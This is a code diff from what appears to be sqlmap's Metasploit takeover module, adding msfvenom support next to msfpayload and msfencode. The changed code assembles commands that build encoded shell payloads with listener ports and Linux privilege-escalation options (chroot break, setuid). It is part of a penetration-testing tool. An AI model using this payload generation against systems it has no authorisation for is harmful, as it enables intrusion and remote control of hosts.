2424from lib .core .common import randomStr
2525from lib .core .common import readInput
2626from lib .core .data import conf
27+ from lib .core .data import kb
2728from lib .core .data import logger
2829from lib .core .data import paths
2930from lib .core .enums import DBMS
@@ -63,6 +64,7 @@ def _initVars(self):
6364 self ._msfCli = normalizePath (os .path .join (conf .msfPath , "msfcli" ))
6465 self ._msfEncode = normalizePath (os .path .join (conf .msfPath , "msfencode" ))
6566 self ._msfPayload = normalizePath (os .path .join (conf .msfPath , "msfpayload" ))
67+ self ._msfVenom = normalizePath (os .path .join (conf .msfPath , "msfvenom" ))
6668
6769 if IS_WIN :
6870 _ = conf .msfPath
@@ -78,6 +80,7 @@ def _initVars(self):
7880 self ._msfCli = "%s & ruby %s" % (_ , self ._msfCli )
7981 self ._msfEncode = "ruby %s" % self ._msfEncode
8082 self ._msfPayload = "%s & ruby %s" % (_ , self ._msfPayload )
83+ self ._msfVenom = "%s & ruby %s" % (_ , self ._msfVenom )
8184
8285 self ._msfPayloadsList = {
8386 "windows" : {
@@ -361,7 +364,11 @@ def _forgeMsfCliCmdForSmbrelay(self):
361364 self ._cliCmd += " E"
362365
363366 def _forgeMsfPayloadCmd (self , exitfunc , format , outFile , extra = None ):
364- self ._payloadCmd = "%s %s" % (self ._msfPayload , self .payloadConnStr )
367+ if kb .msfVenom :
368+ self ._payloadCmd = "%s -p" % self ._msfVenom
369+ else :
370+ self ._payloadCmd = self ._msfPayload
371+ self ._payloadCmd += " %s" % self .payloadConnStr
365372 self ._payloadCmd += " EXITFUNC=%s" % exitfunc
366373 self ._payloadCmd += " LPORT=%s" % self .portStr
367374
@@ -373,13 +380,22 @@ def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
373380 if Backend .isOs (OS .LINUX ) and conf .privEsc :
374381 self ._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
375382
376- if extra == "BufferRegister=EAX" :
377- self ._payloadCmd += " R | %s -a x86 -e %s -o \" %s\" -t %s" % (self ._msfEncode , self .encoderStr , outFile , format )
383+ if kb .msfVenom :
384+ if extra == "BufferRegister=EAX" :
385+ self ._payloadCmd += " -a x86 -e %s -f %s > \" %s\" " % (self .encoderStr , format , outFile )
378386
379- if extra is not None :
380- self ._payloadCmd += " %s" % extra
387+ if extra is not None :
388+ self ._payloadCmd += " %s" % extra
389+ else :
390+ self ._payloadCmd += " -f exe > \" %s\" " % outFile
381391 else :
382- self ._payloadCmd += " X > \" %s\" " % outFile
392+ if extra == "BufferRegister=EAX" :
393+ self ._payloadCmd += " R | %s -a x86 -e %s -o \" %s\" -t %s" % (self ._msfEncode , self .encoderStr , outFile , format )
394+
395+ if extra is not None :
396+ self ._payloadCmd += " %s" % extra
397+ else :
398+ self ._payloadCmd += " X > \" %s\" " % outFile
383399
384400 def _runMsfCliSmbrelay (self ):
385401 self ._forgeMsfCliCmdForSmbrelay ()
0 commit comments